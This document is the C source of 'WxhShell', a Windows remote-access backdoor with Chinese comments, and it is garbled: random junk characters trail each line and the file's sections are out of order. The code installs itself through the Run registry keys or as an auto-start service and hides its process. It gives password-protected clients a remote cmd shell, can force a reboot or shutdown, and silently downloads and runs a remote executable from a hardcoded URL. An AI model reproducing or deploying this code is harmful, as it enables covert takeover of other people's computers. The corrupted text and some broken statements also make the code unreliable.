  case 'd': { h1.]Nl C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |x|#n  
    if(Boot(SHUTDOWN)) 0`=#1u8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '`q&UPg]  
    else { L\||#w   
    closesocket(wsh); DLYk#d: q?  
    ExitThread(0); 0]l _qxv  
    } kji*7a?y  
    break; )bZS0f-  
    } Y`S9mGR#  
  // 获取shell +/60$60[z  
  case 's': { j2T Z`Z?a^  
    CmdShell(wsh); #vi `2F  
    closesocket(wsh); RVv@x5  
    ExitThread(0); TIg 3'au  
    break; od{b]HvgS  
  } LL5n{#)N  
  // 退出 I_mnXd;n  
  case 'x': { j]EeL=H<P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a3i4eGT-  
    CloseIt(wsh); 2R&msdF   
    break; .__X- +^  
    } 5qkG~ YO-  
  // 离开 _94|^   
  case 'q': { 2f1WT g)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /,'D4s:Gg  
    closesocket(wsh); ^)&d7cSc  
    WSACleanup(); @ U6Iw"@  
    exit(1); ffK A  
    break; x^kV;^ I  
        } 5V&3m@d0aq  
  } <syMrXk)R(  
  } ANEW^\  
=Mb!&qq  
  // 提示信息 ]}2+yK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XVjs0/5b  
} *.wX9g9\  
  } K &m`1f  
umrfA  
  return; &wsxH4  
} Q=lQy  
w,dDA2,  
// shell模块句柄 ^9zL[R  
int CmdShell(SOCKET sock)  V3WHp'1  
{ +]-~UsM  
STARTUPINFO si; bCY8CIF  
ZeroMemory(&si,sizeof(si)); H: Rd4dl,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [mKPOg-t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K'.aQ&2  
PROCESS_INFORMATION ProcessInfo; P.WEu<$  
char cmdline[]="cmd"; @K; 4'b~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &*\wr} a!  
  return 0; p\66`\\l  
} sf4NKe2*  
o 5dPE{f  
// 自身启动模式 k3::5&  
int StartFromService(void) mGZ^K,)&OR  
{ ZI4[v>  
typedef struct E7-il;`cKn  
{ g$<Sh.4A  
  DWORD ExitStatus; Md_S};!QN6  
  DWORD PebBaseAddress; v'(p."g  
  DWORD AffinityMask; bcFG$},k  
  DWORD BasePriority; e[f}Lxln  
  ULONG UniqueProcessId; Y.&nxT95=  
  ULONG InheritedFromUniqueProcessId; aMQfg51W:  
}   PROCESS_BASIC_INFORMATION; @l:\0cO  
 L5/J  
PROCNTQSIP NtQueryInformationProcess; LY b@0O<w  
~;nh|v/e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [+EmV>Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n46H7e(ej\  
]ovP^]]V  
  HANDLE             hProcess; ?|LR@M!S7  
  PROCESS_BASIC_INFORMATION pbi; {fe[$KQ  
<eP`Lu"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9fr LYJz"  
  if(NULL == hInst ) return 0; !t/I j~o  
XlP q>@4p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R{"Kh2q_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mz,G;x}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &@CcH_d*  
x5[wF6A  
  if (!NtQueryInformationProcess) return 0; ZYr6Wn  
k^ B<t'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \^O&){q(9  
  if(!hProcess) return 0; 1sgI,5liUs  
? S^ U-.`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rEEoR'c6  
T.\=R  
  CloseHandle(hProcess); ;oW#>!HrY  
*@`Sx'5!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fd!Np7xw  
if(hProcess==NULL) return 0; D4nYyj1O3  
qKu/~0a/  
HMODULE hMod; JB.f7-  
char procName[255]; M?mPi 3  
unsigned long cbNeeded; Kx,#Wg{H  
ZoJ_I >uv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J:g4ES-/   
T%|{Qo<j  
  CloseHandle(hProcess); jroR 2*  
0;9X`z J  
if(strstr(procName,"services")) return 1; // 以服务启动 5=Cea  
r]JV !'R  
  return 0; // 注册表启动 V0 70oZ  
} BN??3F8C  
s6=jHrdvv  
// 主模块 GH ] c  
int StartWxhshell(LPSTR lpCmdLine) oPP`)b$x  
{ G`1!SEae  
  SOCKET wsl; ~jcdnm]  
BOOL val=TRUE; M&auA  
  int port=0; Z !HQ|')N5  
  struct sockaddr_in door; H,8HGL[l  
L\;n[,.  
  if(wscfg.ws_autoins) Install(); "m2g"x a\7  
ndW]S7  
port=atoi(lpCmdLine); _{$eOwB  
t!^ j0q  
if(port<=0) port=wscfg.ws_port; "u29| OY  
:(7icHa  
  WSADATA data; (%p@G5GU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8zhr;Srt  
cg`bbZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h"O4r8G}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g"b{M  
  door.sin_family = AF_INET; cX~J6vNy5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nh"8on]M~  
  door.sin_port = htons(port); 05 56#U&>  
R*PR21g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  mE1m  
closesocket(wsl); j >pv@D  
return 1; )?d(7d-l  
} Qdt4h$~V"  
3+:F2sjt  
  if(listen(wsl,2) == INVALID_SOCKET) { ::<v; `l  
closesocket(wsl); J  ZH~ {  
return 1; hB[VU ";  
} |azdFf6A:[  
  Wxhshell(wsl);  ylTX  
  WSACleanup(); r@WfZ  Z  
]*/%5ZOI&  
return 0; 2Q bCH}  
P]h-**O  
} g/3t@7*<  
~;)H |R5kV  
// 以NT服务方式启动 5N~JRq\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'tJb(X!]q  
{ =[_=y=G  
DWORD   status = 0; I= '6>+P  
  DWORD   specificError = 0xfffffff; 5`>%{ o  
rl/]Ym4j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pc+'/~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a+!r5689  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LZ'Y3 *  
  serviceStatus.dwWin32ExitCode     = 0; G!<-9HA5  
  serviceStatus.dwServiceSpecificExitCode = 0; Sm5 T/&z  
  serviceStatus.dwCheckPoint       = 0; %p; 'l  
  serviceStatus.dwWaitHint       = 0; `J l/@bE=  
AQ)DiH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1\u{1 V  
  if (hServiceStatusHandle==0) return; q0sdL86  
;rj|>  
status = GetLastError(); W]B75  
  if (status!=NO_ERROR) [H4)p ,R  
{ _GW,9s^A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'lWgHmE  
    serviceStatus.dwCheckPoint       = 0; #ULjK*)R  
    serviceStatus.dwWaitHint       = 0; qT153dNA&  
    serviceStatus.dwWin32ExitCode     = status; EX"o9'  
    serviceStatus.dwServiceSpecificExitCode = specificError; k`(Cwp{Oc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V'M#."Of/  
    return; *!5X!\e_  
  } B'}pZOa[Wb  
n.l7V<1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G4<M@ET  
  serviceStatus.dwCheckPoint       = 0; S4O'N x  
  serviceStatus.dwWaitHint       = 0; fUKi@*^ZUa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rlwewxmr  
} 1`q>*S](  
+3d.JQoKl  
// 处理NT服务事件,比如:启动、停止 OAiSE`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v$d^>+Y#  
{ `z1E]{A  
switch(fdwControl) -]~KQvIH!  
{ *S= c0  
case SERVICE_CONTROL_STOP: -\I".8"YE  
  serviceStatus.dwWin32ExitCode = 0; hVGK%HCz&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @9AK!I8f  
  serviceStatus.dwCheckPoint   = 0; ]1)#Y   
  serviceStatus.dwWaitHint     = 0; )RCva3Ul  
  { yM PZ}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); opIbs7k-  
  } w l#jSj%pd  
  return; QLLMSa+! \  
case SERVICE_CONTROL_PAUSE: Ha41Wn'tZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E'^$~h$  
  break; 7=`_UqCV  
case SERVICE_CONTROL_CONTINUE: Cj5=UUnO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ir<K"wi(2  
  break; L (@".{T  
case SERVICE_CONTROL_INTERROGATE: EC8Fapy  
  break; @Wl2E.)K;  
}; D:=Q)Uh0I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^&!iqK2o  
} /cC4K\M  
H[J5A2b  
// 标准应用程序主函数 I&Z+FL&@f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d>gN3}tT  
{ .|c=]_{  
[,TK"  
// 获取操作系统版本 H$)__V5I,q  
OsIsNt=GetOsVer(); "QLp%B,A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #>_5PdO  
4S\St <  
  // 从命令行安装 M $\!SXL  
  if(strpbrk(lpCmdLine,"iI")) Install(); 79d< ,q;uR  
Y+Cqc.JBQ  
  // 下载执行文件 WT'?L{  
if(wscfg.ws_downexe) { j`l'Mg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <tI_u ~P  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2q}lSa7r  
} =2OLyZDI  
)u>/:  
if(!OsIsNt) { L g2z `uv  
// 如果时win9x,隐藏进程并且设置为注册表启动 Aq,&p,m03  
HideProc(); I~T~!^}U  
StartWxhshell(lpCmdLine); j}aU*p~N  
} K06x7W  
else As+^6  
  if(StartFromService()) @p [ml m  
  // 以服务方式启动 *}RV)0mif  
  StartServiceCtrlDispatcher(DispatchTable); COFCa&m9c  
else EXizRL-9o  
  // 普通方式启动 #4Ltw ,b^  
  StartWxhshell(lpCmdLine); 9iM[3uyO  
'q7&MM'oS^  
return 0; ;.I,R NM  
} d 6=Z=4w  
,T0q.!d  
7R#$Hm  
Ocf:73t  
=========================================== I;UCKoFT  
tE"IE$$1  
bF c %  
ve*m\DU  
WVdF/H  
@XN*H- |  
" (dHil#l  
4Ixu%  
#include <stdio.h> h: Hpz  
#include <string.h> v{O(}@  
#include <windows.h> &H:2TL!  
#include <winsock2.h> 4%>2 >5  
#include <winsvc.h> v O@7o  
#include <urlmon.h> CH] +S>$  
qrkJ:  
#pragma comment (lib, "Ws2_32.lib") ~mk>9Gp  
#pragma comment (lib, "urlmon.lib") ,Wlw#1fP  
1+9}Xnxb  
#define MAX_USER   100 // 最大客户端连接数 ,niQs+'<  
#define BUF_SOCK   200 // sock buffer d 6zfP1lQ  
#define KEY_BUFF   255 // 输入 buffer _KAg1Ww  
;6tGRh$b  
#define REBOOT     0   // 重启 OYj~"-3y)  
#define SHUTDOWN   1   // 关机 _.+2sm   
T3In0LQ  
#define DEF_PORT   5000 // 监听端口 H&=fD` Xq  
VL8yL`~zc.  
#define REG_LEN     16   // 注册表键长度 XpT+xv1`;  
#define SVC_LEN     80   // NT服务名长度 R@lA5w  
2T3b6  
// 从dll定义API ~vw$Rnotz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [z r2\(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N(Xg#m   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kA{eT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E=RX^ 3+}  
j7 \y1$w  
// wxhshell配置信息 nrJW.F]S8[  
struct WSCFG { EzGO/uZ]  
  int ws_port;         // 监听端口 2'7)D}p  
  char ws_passstr[REG_LEN]; // 口令 :0vKt 6>Sp  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8~:s$~&r  
  char ws_regname[REG_LEN]; // 注册表键名 0jMS!"k   
  char ws_svcname[REG_LEN]; // 服务名 hZ UnNQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q=#@g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qqr]S^WW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FGu#Pa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /5j]laYK)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zz^!QlF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `+5,=S  
VZCCMh-  
}; K yDPD'  
\KkAU6  
// default Wxhshell configuration \><v1x>;  
struct WSCFG wscfg={DEF_PORT, #jT=;G7f2  
    "xuhuanlingzhe", r 9whW;"q  
    1, !"s~dL,7  
    "Wxhshell", D |9ItxYu  
    "Wxhshell", u8b^DB#+W  
            "WxhShell Service", Bw4 _hlm  
    "Wrsky Windows CmdShell Service", 'WcP+4c  
    "Please Input Your Password: ", {7d\du&G  
  1, V[avV*;3i  
  "http://www.wrsky.com/wxhshell.exe", +uB.)wr  
  "Wxhshell.exe" }<mK79m  
    }; mecm,xwm  
5sguv^;C5  
// 消息定义模块 ^u$?& #  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1wt(pkNk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >f-*D25f%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f<Xi/ (  
char *msg_ws_ext="\n\rExit."; Ue!~|:  
char *msg_ws_end="\n\rQuit."; #Y<(7  
char *msg_ws_boot="\n\rReboot..."; TRku(w1f  
char *msg_ws_poff="\n\rShutdown..."; N\W4LO6  
char *msg_ws_down="\n\rSave to "; 4<q'QU#l<  
gYW  
char *msg_ws_err="\n\rErr!"; $uCY\ xqZ  
char *msg_ws_ok="\n\rOK!"; Nj$h/P  
s#%P9A  
char ExeFile[MAX_PATH]; S%2qX"8  
int nUser = 0; <S(`e/#[  
HANDLE handles[MAX_USER]; 7(]M`bBH  
int OsIsNt; H@V+Q}  
T56%3i  
SERVICE_STATUS       serviceStatus; G*W54[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9s`j@B0N57  
O%p+P<J  
// 函数声明  d>}R3T  
int Install(void); Q}kXxud  
int Uninstall(void); ;*q  
int DownloadFile(char *sURL, SOCKET wsh); qN(,8P\90  
int Boot(int flag); ]n^TN r7  
void HideProc(void); T5? eb"  
int GetOsVer(void); kC=h[<'  
int Wxhshell(SOCKET wsl); be+tAp`  
void TalkWithClient(void *cs); D5jZ;z}  
int CmdShell(SOCKET sock); o 12w p  
int StartFromService(void); aT20FEZ;  
int StartWxhshell(LPSTR lpCmdLine); z P=3B%$  
zj UT:#(k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %fB!XCW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9P\R?~3  
CyV(+KBe_  
// 数据结构和表定义 q+?>shqsZ  
SERVICE_TABLE_ENTRY DispatchTable[] = hWfC"0  
{ -efB8)A  
{wscfg.ws_svcname, NTServiceMain}, g"|Z1iy|9  
{NULL, NULL} 6;%Ajx  
}; \. _TOE9L  
9 t o2V  
// 自我安装 }4wIfI83K,  
int Install(void) :Mzkm^7B  
{ t7qzAr  
  char svExeFile[MAX_PATH]; *;X,yEK[  
  HKEY key; 8|H^u6+yz  
  strcpy(svExeFile,ExeFile); 6[SE*/E@L  
;.#l[  
// 如果是win9x系统,修改注册表设为自启动 ^UiSezc I  
if(!OsIsNt) { oV=~ Q#v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C ehz]C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8D1+["&  
  RegCloseKey(key); _0 $W;8X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ry4`Q$=:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P h/!a6y  
  RegCloseKey(key); U[WR?J4~LX  
  return 0; 3v@Y"I3;  
    } H*VZ&{\7  
  } >TB Rp,;r  
} +Qo]'xKr  
else { Mi2l BEu,  
uZkh.0yB  
// 如果是NT以上系统,安装为系统服务 'c&S%Ra[3G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p!RyxB1.|  
if (schSCManager!=0) $hE,BeQ  
{ 4}MZB*);0  
  SC_HANDLE schService = CreateService 2%gLq  
  ( VVVw\|JB>  
  schSCManager, P DtLJt$  
  wscfg.ws_svcname, {j4J(dtO  
  wscfg.ws_svcdisp, qe_59'K  
  SERVICE_ALL_ACCESS, fd/?x^Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xYl ScM_~  
  SERVICE_AUTO_START, v*VId l>  
  SERVICE_ERROR_NORMAL, /IyCvo  
  svExeFile, 3_cZaru  
  NULL, . Q$/\E  
  NULL, gRQV)8uh  
  NULL, ylVBK{w9  
  NULL, =VPJ m\*V  
  NULL GjGt' m*  
  ); l>iE1`iL<  
  if (schService!=0) #oQDt'  
  { XWNDpL`j5  
  CloseServiceHandle(schService); } D0Y8  
  CloseServiceHandle(schSCManager); <Q|(dFr`v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ac< hz0   
  strcat(svExeFile,wscfg.ws_svcname); fqQ(EVpQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &<\i37y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V1!;Hvm]+  
  RegCloseKey(key); c</u]TD  
  return 0; pG0Ca](  
    } %X>P+6<=  
  } iQj2aK Gs  
  CloseServiceHandle(schSCManager); [|E|(@J  
} ?K/N{GK%{  
} ITf, )?|]Y  
\Cz uf   
return 1; %.`<ud  
} sUTh}.[5  
|T;NoWO+  
// 自我卸载 fjwUh>[ }  
int Uninstall(void) h:l4:{A64  
{ A57e]2_  
  HKEY key; DC6xet{  
>p,FAz>  
if(!OsIsNt) { ^,WXvOy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _|qs-USA  
  RegDeleteValue(key,wscfg.ws_regname); WEVV2BJ  
  RegCloseKey(key); t9(sSl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5U5)$K'OA  
  RegDeleteValue(key,wscfg.ws_regname); ,a1 1&"xl  
  RegCloseKey(key); u&\QZW?  
  return 0; ,8/Con|o  
  } 3D*vNVI  
} ;0 No@G;z  
} zb=L[2;  
else { >+8Kl`2sw;  
.X)TRD#MW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hm+,o_+  
if (schSCManager!=0) R}VEq gq  
{ *&A/0]w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pXBlTZf  
  if (schService!=0) Z{gJm9  
  { 7m +d;x2  
  if(DeleteService(schService)!=0) { 4kqgZtg.  
  CloseServiceHandle(schService); %L;;W,l$`)  
  CloseServiceHandle(schSCManager); ]f< H?  
  return 0; %tC3@S  
  } ;;; {<GEQ  
  CloseServiceHandle(schService); -D-]tL6w  
  } UxS@]YC  
  CloseServiceHandle(schSCManager); \yNe5  
} Z;4pI@ u  
} ->29Tns  
sn6:\X<[  
return 1; A(dWA e,  
} &hri4p/  
uBXl ltU  
// 从指定url下载文件 pk5W!K  
int DownloadFile(char *sURL, SOCKET wsh) M);@XcS  
{ ;4] sP^+  
  HRESULT hr; k~+(X|!5w  
char seps[]= "/"; }'.k  
char *token; pcl '!8&7  
char *file; nm.~~h+8M  
char myURL[MAX_PATH]; h..D1(M  
char myFILE[MAX_PATH]; @ %}4R`S0  
1deNrmp%  
strcpy(myURL,sURL); 4EtP|  
  token=strtok(myURL,seps); K)!Nf.r$9  
  while(token!=NULL) %e,X7W`'2  
  { B[Gl}(E  
    file=token; knU=#  
  token=strtok(NULL,seps); ;[}<xw3):  
  } .o?"=Epo  
\gE6KE<?p  
GetCurrentDirectory(MAX_PATH,myFILE); 8LZmr|/F*  
strcat(myFILE, "\\"); :6}y gL*i  
strcat(myFILE, file); A tU!8Z  
  send(wsh,myFILE,strlen(myFILE),0); L@t}UC  
send(wsh,"...",3,0); n fU\l<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B}y`E <  
  if(hr==S_OK) ~=xS\@UY =  
return 0; ?!$uMKyt  
else > lg-j-pV  
return 1; O?I~XM'S  
}&I^1BHZs  
} yu>DVD  
~ d!F|BH4  
// 系统电源模块 (&y~\t] H  
int Boot(int flag) ]IZn#gnM  
{ ',<B o{  
  HANDLE hToken; +zz\*  
  TOKEN_PRIVILEGES tkp; ?-g/hXx;  
7Ne`F(c  
  if(OsIsNt) { 4?3*%_bDJ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2G9sKg,kL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ? h*Ngbj>  
    tkp.PrivilegeCount = 1; LQs>[3rK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; & &\HE7*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O=C z*j  
if(flag==REBOOT) { |re>YQ!zd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RO?%0-6O&  
  return 0; zYW+Goz/C  
} 7Y>17=|  
else { GV aIZh<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S3oSc<&2  
  return 0; (4WAoye|  
} 3TDjWW;#~  
  } @TTB$  
  else { }%;o#!<N(@  
if(flag==REBOOT) { |*w}bT(PfR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j~)GZV  
  return 0; uR:@7n  
} @},25"x)  
else { p[zKc2TPk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6zGM[2  
  return 0; K Qz.g3,  
} 9Un3La8PX  
} 86BY032H  
2zz7/]?Q   
return 1; e[(XR_EY  
} mEUdJvSG(  
0L5 n<<7  
// win9x进程隐藏模块 os3jpFeG'  
void HideProc(void) jBO/1h=  
{ ,+gU^dc|hq  
Tf bB1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P&s-U6  
  if ( hKernel != NULL ) 1JFCYJy  
  { /2n-q_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ])sIQ{P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l|z0aF;z  
    FreeLibrary(hKernel); 1zDat@<H  
  } zP8a=Iv  
nSM8o<)H  
return; %rmn+L),;  
} \.`;p  
Pr%Y!|  
// 获取操作系统版本 122%KS  
int GetOsVer(void) 8-2e4^ g(  
{ yyj?hR@rZ  
  OSVERSIONINFO winfo; w4m)lQM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {7%W /C#A  
  GetVersionEx(&winfo); DLWG0$#!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zv^km5by  
  return 1; DhVF^=x$  
  else sr=~U q{g  
  return 0; gNsas:iGM  
} /mM#nS  
o<Esh;;*nm  
// 客户端句柄模块 -Dx_:k|k  
int Wxhshell(SOCKET wsl) %l#i9$s  
{ T;f`ND2fY  
  SOCKET wsh; 94>EA/+Ek  
  struct sockaddr_in client; i1OF @~?  
  DWORD myID; 4DYa~ =w  
KXQ &u{[<  
  while(nUser<MAX_USER) %]2hxTV  
{ AO R{Xm  
  int nSize=sizeof(client); q$|Wxnz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vSOO[.=  
  if(wsh==INVALID_SOCKET) return 1; NM`5hd{  
wc%Wy|d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h2b,(  
if(handles[nUser]==0) zXop@"(e  
  closesocket(wsh); biBo?k;4  
else 8R) 0|v&;  
  nUser++; _DlX F  
  } _:B/XZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hLqRF4>L  
A *$JF>`7  
  return 0; j;GH|22  
} vpS&w  
%z0;77[1I  
// 关闭 socket 2~*J<iO&l  
void CloseIt(SOCKET wsh) xksd&X:  
{ qPn }$1+~  
closesocket(wsh); kkyi`_ZKn  
nUser--; ] WsQ=  
ExitThread(0); ]~Su  
} Aa.eu=@I  
*t)Y@=k3>  
// 客户端请求句柄 p-6Y5$Y  
void TalkWithClient(void *cs) \-]zXKl2k  
{ ?=bqya"Y  
va>u1S<lO  
  SOCKET wsh=(SOCKET)cs; o*[n[\cR  
  char pwd[SVC_LEN]; kK0.j)(  
  char cmd[KEY_BUFF]; Q|DVB  
char chr[1]; e={X{5z0  
int i,j; wb#ZRmx}  
e2~$=f-  
  while (nUser < MAX_USER) { bvxol\7;  
@%oHt*u  
if(wscfg.ws_passstr) { X6hp}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IzuYkl}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qM$4c7'4P6  
  //ZeroMemory(pwd,KEY_BUFF); zeHf(N  
      i=0; u n)YK  
  while(i<SVC_LEN) { 3>~W_c9@  
Y#/mE!&  
  // 设置超时 L<}0}y  
  fd_set FdRead; 4R(H@p%+r2  
  struct timeval TimeOut; uPmK:9]3R  
  FD_ZERO(&FdRead); \W,,@ -  
  FD_SET(wsh,&FdRead); @26gP:Um  
  TimeOut.tv_sec=8; V!{}%;f  
  TimeOut.tv_usec=0; vj_[LFE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ao0p=@Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }MCh$  
Z8Jrt3l{2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )w t mc4'  
  pwd=chr[0]; R7nT,7k.  
  if(chr[0]==0xd || chr[0]==0xa) {  1?oX"  
  pwd=0; dbE]&w`?d  
  break; } xy>uT  
  } ?ZqvR^  
  i++; P[G.LO  
    } As y&X  
"CX@a"  
  // 如果是非法用户,关闭 socket uZg[PS=@!X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L&I8lG  
} I*SrK Zb  
:rBPgrt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U5iyvU=UG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j_ \?ampF  
j& H4L  
while(1) { v!>(1ROQ.=  
e}PJN6"5  
  ZeroMemory(cmd,KEY_BUFF); SqF `xw  
xpO'.xEs  
      // 自动支持客户端 telnet标准   TEzMFu+V  
  j=0; 9sgyg3fv>5  
  while(j<KEY_BUFF) { pGsk[.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k6}M7 &nY  
  cmd[j]=chr[0]; Fad.!%[  
  if(chr[0]==0xa || chr[0]==0xd) { mRNA,*  
  cmd[j]=0; mr 6~8 I  
  break; EZY <k#  
  } P,eP>55'K  
  j++; FJ/c(K  
    } -PG81F&K  
pz hPEp;  
  // 下载文件 kA"|PtrW  
  if(strstr(cmd,"http://")) { j@Ta\a-,x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VqIzDs  
  if(DownloadFile(cmd,wsh)) }x9D;%)/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UqA<rW  
  else }MiEbLduN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7eR%zNDa  
  } %$*WdK#  
  else { z{q|HO  
>x3$Ld  
    switch(cmd[0]) { Od,P,t9  
